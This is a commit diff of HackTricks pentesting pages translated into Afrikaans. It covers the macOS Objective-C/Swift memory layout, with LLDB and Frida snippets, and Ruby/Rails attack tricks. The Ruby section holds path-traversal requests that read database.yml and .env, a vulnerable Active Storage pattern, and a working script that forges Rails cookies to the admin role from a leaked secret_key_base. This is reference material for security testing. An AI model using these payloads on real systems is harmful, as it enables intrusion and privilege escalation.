Translated ['src/macos-hardening/macos-security-and-privilege-escalation

2025-10-10 18:36:50 +00:00 · 2025-08-26 15:08:54 +00:00 · 2025-08-26 15:08:54 +00:00 · 9460110f7c
commit 9460110f7c
parent 68f3d11b25
2 changed files with 254 additions and 47 deletions
--- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/objects-in-memory.md
+++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/objects-in-memory.md
@ -1,12 +1,12 @@
-# Voorwerpe in geheue
+# Objekte in geheue

 {{#include ../../../banners/hacktricks-training.md}}

 ## CFRuntimeClass

-CF\* voorwerpe kom van CoreFoundation, wat meer as 50 klasse van voorwerpe soos `CFString`, `CFNumber` of `CFAllocator` bied.
+CF*-objekte kom van CoreFoundation, wat meer as 50 klasse verskaf, soos `CFString`, `CFNumber` of `CFAllocator`.

-Al hierdie klasse is instansies van die klas `CFRuntimeClass`, wat wanneer dit aangeroep word, 'n indeks na die `__CFRuntimeClassTable` teruggee. Die CFRuntimeClass is gedefinieer in [**CFRuntime.h**](https://opensource.apple.com/source/CF/CF-1153.18/CFRuntime.h.auto.html):
+Al hierdie klasse is instansies van die klas `CFRuntimeClass`, wat wanneer dit aangeroep word 'n indeks na die `__CFRuntimeClassTable` teruggee. Die CFRuntimeClass is gedefinieer in [**CFRuntime.h**](https://opensource.apple.com/source/CF/CF-1153.18/CFRuntime.h.auto.html):
 ```objectivec
 // Some comments were added to the original code

@ -55,68 +55,79 @@ uintptr_t requiredAlignment; // Or in _kCFRuntimeRequiresAlignment in the .versi
 ```
 ## Objective-C

-### Geheue seksies gebruik
+### Memory sections used

-Die meeste van die data wat deur die ObjectiveC runtime gebruik word, sal tydens die uitvoering verander, daarom gebruik dit 'n paar seksies van die **\_\_DATA** segment in geheue:
+Die meeste van die data wat deur die Objective‑C runtime gebruik word, sal tydens uitvoering verander, daarom gebruik dit 'n aantal seksies van die Mach‑O `__DATA` familie van segments in geheue. Voorheen het dit die volgende ingesluit:

- **`__objc_msgrefs`** (`message_ref_t`): Boodskap verwysings
- **`__objc_ivar`** (`ivar`): Instansie veranderlikes
- **`__objc_data`** (`...`): Veranderlike data
- **`__objc_classrefs`** (`Class`): Klas verwysings
- **`__objc_superrefs`** (`Class`): Superklas verwysings
- **`__objc_protorefs`** (`protocol_t *`): Protokol verwysings
- **`__objc_selrefs`** (`SEL`): Selektor verwysings
- **`__objc_const`** (`...`): Klas `r/o` data en ander (hopelik) konstante data
- **`__objc_imageinfo`** (`version, flags`): Gebruik tydens beeld laai: Huidige weergawe `0`; Vlaggies spesifiseer voor-geoptimaliseerde GC ondersteuning, ens.
- **`__objc_protolist`** (`protocol_t *`): Protokol lys
- **`__objc_nlcatlist`** (`category_t`): Wysiger na Nie-Lui Kategoriene gedefinieer in hierdie binêre
- **`__objc_catlist`** (`category_t`): Wysiger na Kategoriene gedefinieer in hierdie binêre
- **`__objc_nlclslist`** (`classref_t`): Wysiger na Nie-Lui Objective-C klasse gedefinieer in hierdie binêre
- **`__objc_classlist`** (`classref_t`): Wysigers na alle Objective-C klasse gedefinieer in hierdie binêre
+- `__objc_msgrefs` (`message_ref_t`): boodskapverwysings
+- `__objc_ivar` (`ivar`): instansie veranderlikes
+- `__objc_data` (`...`): veranderlike data
+- `__objc_classrefs` (`Class`): klasverwysings
+- `__objc_superrefs` (`Class`): superklasverwysings
+- `__objc_protorefs` (`protocol_t *`): protokolverwysings
+- `__objc_selrefs` (`SEL`): selektorverwysings
+- `__objc_const` (`...`): klas r/o data en ander (hopelik) konstante data
+- `__objc_imageinfo` (`version, flags`): word gebruik tydens image load: weergawe tans `0`; vlagte spesifiseer voorafgeoptimaliseerde GC-ondersteuning, ens.
+- `__objc_protolist` (`protocol_t *`): protokollys
+- `__objc_nlcatlist` (`category_t`): wysiger na Non-Lazy Categories gedefinieer in hierdie binêr
+- `__objc_catlist` (`category_t`): wysiger na Categories gedefinieer in hierdie binêr
+- `__objc_nlclslist` (`classref_t`): wysiger na Non-Lazy Objective‑C klases gedefinieer in hierdie binêr
+- `__objc_classlist` (`classref_t`): wysigers na alle Objective‑C klases gedefinieer in hierdie binêr

-Dit gebruik ook 'n paar seksies in die **`__TEXT`** segment om konstante waardes te stoor as dit nie moontlik is om in hierdie seksie te skryf nie:
+Dit gebruik ook 'n paar seksies in die `__TEXT` segment om konstantes te stoor:

- **`__objc_methname`** (C-String): Metode name
- **`__objc_classname`** (C-String): Klas name
- **`__objc_methtype`** (C-String): Metode tipes
+- `__objc_methname` (C‑String): metode name
+- `__objc_classname` (C‑String): klasname
+- `__objc_methtype` (C‑String): metode tipes

-### Tipe Kodering
+Moderne macOS/iOS (veral op Apple Silicon) plaas ook Objective‑C/Swift metadata in:

-Objective-C gebruik 'n paar mangeling om selektor en veranderlike tipes van eenvoudige en komplekse tipes te kodeer:
+- `__DATA_CONST`: onveranderlike Objective‑C metadata wat as slegs‑lees oor prosesse gedeel kan word (byvoorbeeld baie `__objc_*` lyste woon nou hier).
+- `__AUTH` / `__AUTH_CONST`: segmente wat wysigers bevat wat geverifieer moet word tydens laai of gebruikstyd op arm64e (Pointer Authentication). Jy sal ook `__auth_got` in `__AUTH_CONST` sien in plaas van die klassieke `__la_symbol_ptr`/`__got` alleenlik. Wanneer jy instrumenteer of hook, onthou om rekening te hou met beide `__got` en `__auth_got` inskrywings in moderne binaries.

- Primitive tipes gebruik die eerste letter van die tipe `i` vir `int`, `c` vir `char`, `l` vir `long`... en gebruik die hoofletter in geval dit ongetekend is (`L` vir `unsigned Long`).
- Ander datatipes waarvan die letters gebruik word of spesiaal is, gebruik ander letters of simbole soos `q` vir `long long`, `b` vir `bitfields`, `B` vir `booleans`, `#` vir `klas`, `@` vir `id`, `*` vir `char wysigers`, `^` vir generiese `wysigers` en `?` vir `onbepaalde`.
- Arrays, strukture en unies gebruik `[`, `{` en `(`
+Vir agtergrond oor dyld vooraf‑optimalisering (bv. selector uniquing en class/protocol precomputation) en waarom baie van hierdie seksies alreeds "aangepas" is wanneer hulle uit die shared cache kom, kyk na die Apple `objc-opt` sources en dyld shared cache notas. Dit beïnvloed waar en hoe jy metadata tydens uitvoering kan aanpas.

-#### Voorbeeld Metode Deklarasie
+{{#ref}}
+../macos-files-folders-and-binaries/universal-binaries-and-mach-o-format.md
+{{#endref}}
+
+### Type Encoding
+
+Objective‑C gebruik naam‑mangling om selektor- en veranderlike tipes van eenvoudige en komplekse tipes te enkodeer:
+
+- Primêre tipes gebruik die eerste letter van die tipe: `i` vir `int`, `c` vir `char`, `l` vir `long` ... en gebruik die hoofletter indien dit unsigned is (`L` vir `unsigned long`).
+- Ander datatipes gebruik ander letters of simbole soos `q` vir `long long`, `b` vir bitfields, `B` vir booleans, `#` vir classes, `@` vir `id`, `*` vir `char *`, `^` vir generiese wysigers en `?` vir undefined.
+- Arrays, strukture en unies gebruik onderskeidelik `[`, `{` en `(`.
+
+#### Example Method Declaration
 ```objectivec
 - (NSString *)processString:(id)input withOptions:(char *)options andError:(id)error;
 ```
-Die selektor sou wees `processString:withOptions:andError:`
+Die selector sou wees `processString:withOptions:andError:`

-#### Tipe Kodering
+#### Tipe-kodering

 - `id` word gekodeer as `@`
 - `char *` word gekodeer as `*`

-Die volledige tipe kodering vir die metode is:
+Die volledige tipe-kodering vir die metode is:
 ```less
@24@0:8@16*20^@24
 ```
-#### Gedetailleerde Ontleding
+#### Gedetailleerde ontleding

-1. **Terugkeer tipe (`NSString *`)**: Gecodeer as `@` met lengte 24
-2. **`self` (objekinstansie)**: Gecodeer as `@`, by offset 0
-3. **`_cmd` (selektor)**: Gecodeer as `:`, by offset 8
-4. **Eerste argument (`char * input`)**: Gecodeer as `*`, by offset 16
-5. **Tweede argument (`NSDictionary * options`)**: Gecodeer as `@`, by offset 20
-6. **Derde argument (`NSError ** error`)**: Gecodeer as `^@`, by offset 24
+1. Retuurtipe (`NSString *`): Gekodeer as `@` met lengte 24  
+2. `self` (objekinstansie): Gekodeer as `@`, by offset 0  
+3. `_cmd` (selekteerder): Gekodeer as `:`, by offset 8  
+4. Eerste argument (`char * input`): Gekodeer as `*`, by offset 16  
+5. Tweede argument (`NSDictionary * options`): Gekodeer as `@`, by offset 20  
+6. Derde argument (`NSError ** error`): Gekodeer as `^@`, by offset 24

-**Met die selektor + die kodering kan jy die metode herbou.**
+Met die selekteerder + die kodering kan jy die metode herbou.

-### **Klasse**
+### Klasse

-Klasse in Objective-C is 'n struktuur met eienskappe, metode wysers... Dit is moontlik om die struktuur `objc_class` in die [**bron kode**](https://opensource.apple.com/source/objc4/objc4-756.2/runtime/objc-runtime-new.h.auto.html) te vind:
+Klasse in Objective‑C is C-strukture met eiendomme, metode-aanwysers, ens. Dit is moontlik om die struktuur `objc_class` te vind in die [**source code**](https://opensource.apple.com/source/objc4/objc4-756.2/runtime/objc-runtime-new.h.auto.html):
 ```objectivec
 struct objc_class : objc_object {
 // Class ISA;
@ -137,9 +148,114 @@ data()->setFlags(set);
 }
 [...]
 ```
-Hierdie klas gebruik 'n paar bits van die isa-veld om inligting oor die klas aan te dui.
+This class uses some bits of the `isa` field to indicate information about the class.

-Dan het die struktuur 'n wysiger na die struktuur `class_ro_t` wat op skyf gestoor is en wat eienskappe van die klas bevat soos sy naam, basismetodes, eienskappe en instansie veranderlikes.\
-Tydens uitvoering word 'n addisionele struktuur `class_rw_t` gebruik wat wysigers bevat wat verander kan word soos metodes, protokolle, eienskappe...
+Then, the struct has a pointer to the struct `class_ro_t` stored on disk which contains attributes of the class like its name, base methods, properties and instance variables. During runtime an additional structure `class_rw_t` is used containing pointers which can be altered such as methods, protocols, properties.
+
+{{#ref}}
+../macos-basic-objective-c.md
+{{#endref}}
+
+---
+
+## Moderne objekvoorstellings in geheue (arm64e, tagged pointers, Swift)
+
+### Nie‑pointer `isa` en Pointer Authentication (arm64e)
+
+Op Apple Silicon en onlangse runtimes is die Objective‑C `isa` nie altyd 'n rou klas-pointer nie. Op arm64e is dit 'n gepakte struktuur wat ook 'n Pointer Authentication Code (PAC) kan dra. Afhangend van die platform kan dit velde insluit soos `nonpointer`, `has_assoc`, `weakly_referenced`, `extra_rc`, en die klas pointer self (shifted or signed). Dit beteken dat blinde dereferensiering van die eerste 8 bytes van 'n Objective‑C objek nie altyd 'n geldige `Class` pointer sal lewer nie.
+
+Praktiese notas wanneer jy op arm64e debug:
+
+- LLDB verwyder gewoonlik PAC‑bits vir jou wanneer dit Objective‑C objekte met `po` druk, maar wanneer jy met rou pointers werk mag jy die authenticatie handmatig moet verwyder:
+
+```lldb
+(lldb) expr -l objc++ -- #include <ptrauth.h>
+(lldb) expr -l objc++ -- void *raw = ptrauth_strip((void*)0x000000016f123abc, ptrauth_key_asda);
+(lldb) expr -l objc++ -O -- (Class)object_getClass((id)raw)
+```
+
+- Baie function/data pointers in Mach‑O sal in `__AUTH`/`__AUTH_CONST` woon en vereis authenticatie voor gebruik. As jy interposeer of herbind (bv. fishhook‑styl), verseker dat jy ook `__auth_got` hanteer benewens die ouer `__got`.
+
+Vir 'n diepgaande uiteensetting van taal-/ABI‑waarborge en die `<ptrauth.h>` intrinsics wat beskikbaar is via Clang/LLVM, sien die verwysing aan die einde van hierdie bladsy.
+
+### Tagged pointer-objekte
+
+Sommige Foundation‑klasse vermy heap‑allokasie deur die objek se payload direk in die pointer‑waarde te enkodeer (tagged pointers). Detectie verskil per platform (bv. die meest‑signifkante bit op arm64, die minste‑signifkante op x86_64 macOS). Tagged objects het nie 'n normale `isa` in geheue gestoor nie; die runtime los die klas op vanaf die tag‑bits. Wanneer jy willekeurige `id` waardes inspekteer:
+
+- Gebruik runtime APIs in plaas daarvan om die `isa`-veld te toetel: `object_getClass(obj)` / `[obj class]`.
+- In LLDB sal bloot `po (id)0xADDR` tagged pointer‑instances korrek druk omdat die runtime geraadpleeg word om die klas op te los.
+
+### Swift heap‑objekte en metadata
+
+Suiwer Swift‑klasse is ook objekte met 'n header wat na Swift‑metadata wys (nie Objective‑C `isa` nie). Om live Swift‑prosesse te introspekteer sonder om hulle te wysig, kan jy die Swift toolchain se `swift-inspect` gebruik, wat die Remote Mirror‑biblioteek gebruik om runtime‑metadata te lees:
+```bash
+# Xcode toolchain (or Swift.org toolchain) provides swift-inspect
+swift-inspect dump-raw-metadata <pid-or-name>
+swift-inspect dump-arrays <pid-or-name>
+# On Darwin additionally:
+swift-inspect dump-concurrency <pid-or-name>
+```
+Dit is baie nuttig om Swift heap objects en protocol conformances in kaart te bring wanneer jy gemengde Swift/ObjC apps reverse.
+
+---
+
+## Runtime-inspeksie cheatsheet (LLDB / Frida)
+
+### LLDB
+
+- Druk object of klas vanaf 'n rou pointer:
+```lldb
+(lldb) expr -l objc++ -O -- (id)0x0000000101234560
+(lldb) expr -l objc++ -O -- (Class)object_getClass((id)0x0000000101234560)
+```
+- Inspekteer Objective‑C klas vanaf 'n pointer na die `self` van 'n objectmetode in 'n breakpoint:
+```lldb
+(lldb) br se -n '-[NSFileManager fileExistsAtPath:]'
+(lldb) r
+... breakpoint hit ...
+(lldb) po (id)$x0                 # self
+(lldb) expr -l objc++ -O -- (Class)object_getClass((id)$x0)
+```
+- Dump sections wat Objective‑C metadata dra (let wel: baie is nou in `__DATA_CONST` / `__AUTH_CONST`):
+```lldb
+(lldb) image dump section --section __DATA_CONST.__objc_classlist
+(lldb) image dump section --section __DATA_CONST.__objc_selrefs
+(lldb) image dump section --section __AUTH_CONST.__auth_got
+```
+- Lees geheue vir 'n bekende klasobjek om te pivot na `class_ro_t` / `class_rw_t` wanneer reversing method lists:
+```lldb
+(lldb) image lookup -r -n _OBJC_CLASS_$_NSFileManager
+(lldb) memory read -fx -s8 0xADDRESS_OF_CLASS_OBJECT
+```
+### Frida (Objective‑C and Swift)
+
+Frida bied hoëvlak runtime-brûe wat baie handig is om lewende objekte sonder simbole te ontdek en te instrumenteer:
+
+- Enumereer klasse en metodes, los werklike klasname tydens runtime op, en onderskep Objective‑C selectors:
+```js
+if (ObjC.available) {
+// List a class' methods
+console.log(ObjC.classes.NSFileManager.$ownMethods);
+
+// Intercept and inspect arguments/return values
+const impl = ObjC.classes.NSFileManager['- fileExistsAtPath:isDirectory:'].implementation;
+Interceptor.attach(impl, {
+onEnter(args) {
+this.path = new ObjC.Object(args[2]).toString();
+},
+onLeave(retval) {
+console.log('fileExistsAtPath:', this.path, '=>', retval);
+}
+});
+}
+```
+- Swift-brug: lys Swift-tipes op en interageer met Swift-instansies (vereis 'n onlangse Frida; baie nuttig op Apple Silicon-teikens).
+
+---
+
+## Verwysings
+
+- Clang/LLVM: Pointer Authentication and the `<ptrauth.h>` intrinsics (arm64e ABI). https://clang.llvm.org/docs/PointerAuthentication.html
+- Apple objc runtime headers (tagged pointers, non‑pointer `isa`, etc.) e.g., `objc-object.h`. https://opensource.apple.com/source/objc4/objc4-818.2/runtime/objc-object.h.auto.html

 {{#include ../../../banners/hacktricks-training.md}}
--- a/src/network-services-pentesting/pentesting-web/ruby-tricks.md
+++ b/src/network-services-pentesting/pentesting-web/ruby-tricks.md
@ -1,9 +1,100 @@
-# Ruby Tricks
+# Ruby Truuks

 {{#include ../../banners/hacktricks-training.md}}

 ## Lêeroplaai na RCE

-Soos verduidelik in [this article](https://www.offsec.com/blog/cve-2024-46986/), kan die oplaaien van 'n `.rb` lêer in sensitiewe gidse soos `config/initializers/` lei tot afstandlike kode-uitvoering (RCE) in Ruby on Rails toepassings.
+Soos verduidelik in [this article](https://www.offsec.com/blog/cve-2024-46986/), die oplaai van 'n `.rb`-lêer in sensitiewe gidse soos `config/initializers/` kan lei tot remote code execution (RCE) in Ruby on Rails-toepassings.

+Wenke:
+- Ander boot/eager-load plekke wat by app-start uitgevoer word is ook gevaarlik as hulle writeable is (bv. `config/initializers/` is die klassieke een). As jy 'n arbitrary file upload vind wat enige plek onder `config/` beland en later evaluated/required word, kan jy RCE by boot kry.
+- Soek na dev/staging builds wat user-controlled files in die container image kopieer waar Rails dit by boot sal laai.
+
+## Active Storage image transformation → command execution (CVE-2025-24293)
+
+Wanneer 'n toepassing Active Storage gebruik met `image_processing` + `mini_magick`, en nie-vertroude parameters aan image transformation methods deurgee, kan Rails weergawes voor 7.1.5.2 / 7.2.2.2 / 8.0.2.1 command injection toelaat omdat sommige transformation methods per ongeluk standaard toegelaat is.
+
+- 'n Kwetsbare patroon lyk soos:
+```erb
+<%= image_tag blob.variant(params[:t] => params[:v]) %>
+```
+waar `params[:t]` en/of `params[:v]` attacker-controlled is.
+
+- Wat om te probeer tydens toetsing
+- Identifiseer eindpunte wat variant/processing opsies, transformation names, of arbitrêre ImageMagick-argumente aanvaar.
+- Fuzz `params[:t]` en `params[:v]` vir verdagte foute of uitvoering-newe-effekte. As jy die method name kan beïnvloed of rou argumente kan deurgee wat MiniMagick bereik, kan jy code exec op die image processor host kry.
+- As jy slegs read-access tot gegenereerde variants het, probeer blind exfiltration via gemanierde ImageMagick-operasies.
+
+- Remediëring/detektering
+- As jy Rails < 7.1.5.2 / 7.2.2.2 / 8.0.2.1 sien met Active Storage + `image_processing` + `mini_magick` en user-controlled transformations, beskou dit as exploitable. Raai aan om op te gradeer en streng allowlists vir methods/params af te dwing en 'n geharde ImageMagick-policy te gebruik.
+
+## Rack::Static LFI / path traversal (CVE-2025-27610)
+
+As die teiken-stack Rack middleware direk of via frameworks gebruik, laat weergawes van `rack` voor 2.2.13, 3.0.14, en 3.1.12 Local File Inclusion via `Rack::Static` toe wanneer `:root` nie gestel/misconfigureer is nie. Gekodeerde traversal in `PATH_INFO` kan lêers onder die proses se werkgids of 'n onverwagte root blootstel.
+
+- Soek na apps wat `Rack::Static` in `config.ru` of middleware stacks mount. Probeer gekodeerde traversals teen statiese paaie, byvoorbeeld:
+```text
+GET /assets/%2e%2e/%2e%2e/config/database.yml
+GET /favicon.ico/..%2f..%2f.env
+```
+Pas die prefix aan om by die geconfigureerde `urls:` te pas. As die app met lêerininhoud reageer, het jy waarskynlik LFI na enigiets onder die opgeloste `:root`.
+
+- Mitigering: upgrade Rack; verseker dat `:root` slegs na 'n gids met publieke lêers wys en eksplisiet gestel is.
+
+## Forging/decrypting Rails cookies when `secret_key_base` is leaked
+
+Rails encrypts and signs cookies using keys derived from `secret_key_base`. If that value leaks (e.g., in a repo, logs, or misconfigured credentials), you can usually decrypt, modify, and re-encrypt cookies. This often leads to authz bypass if the app stores roles, user IDs, or feature flags in cookies.
+
+Minimal Ruby to decrypt and re-encrypt modern cookies (AES-256-GCM, default in recent Rails):
+```ruby
+require 'cgi'
+require 'json'
+require 'active_support'
+require 'active_support/message_encryptor'
+require 'active_support/key_generator'
+
+secret_key_base = ENV.fetch('SECRET_KEY_BASE_LEAKED')
+raw_cookie = CGI.unescape(ARGV[0])
+
+salt   = 'authenticated encrypted cookie'
+cipher = 'aes-256-gcm'
+key_len = ActiveSupport::MessageEncryptor.key_len(cipher)
+secret  = ActiveSupport::KeyGenerator.new(secret_key_base, iterations: 1000).generate_key(salt, key_len)
+enc     = ActiveSupport::MessageEncryptor.new(secret, cipher: cipher, serializer: JSON)
+
+plain = enc.decrypt_and_verify(raw_cookie)
+puts "Decrypted: #{plain.inspect}"
+
+# Modify and re-encrypt (example: escalate role)
+plain['role'] = 'admin' if plain.is_a?(Hash)
+forged = enc.encrypt_and_sign(plain)
+puts "Forged cookie: #{CGI.escape(forged)}"
+```
+Aantekeninge:
+- Ouer toepassings mag AES-256-CBC en salts `encrypted cookie` / `signed encrypted cookie` of JSON/Marshal serializers gebruik. Pas salts, cipher en serializer dienooreenkomstig aan.
+- By kompromittering of assessering, roteer `secret_key_base` om alle bestaande cookies ongeldig te maak.
+
+## Sien ook (Ruby/Rails-spesifieke kwetsbaarhede)
+
+- Ruby deserialization and class pollution:
+{{#ref}}
+../../pentesting-web/deserialization/README.md
+{{#endref}}
+{{#ref}}
+../../pentesting-web/deserialization/ruby-class-pollution.md
+{{#endref}}
+{{#ref}}
+../../pentesting-web/deserialization/ruby-_json-pollution.md
+{{#endref}}
+- Template injection in Ruby engines (ERB/Haml/Slim, etc.):
+{{#ref}}
+../../pentesting-web/ssti-server-side-template-injection/README.md
+{{#endref}}
+
+
+
+## Verwysings
+
+- Rails Sekuriteitsaankondiging: CVE-2025-24293 Active Storage unsafe transformation methods (fixed in 7.1.5.2 / 7.2.2.2 / 8.0.2.1). https://discuss.rubyonrails.org/t/cve-2025-24293-active-storage-allowed-transformation-methods-potentially-unsafe/89670
+- GitHub-advies: Rack::Static Local File Inclusion (CVE-2025-27610). https://github.com/advisories/GHSA-7wqh-767x-r66v
 {{#include ../../banners/hacktricks-training.md}}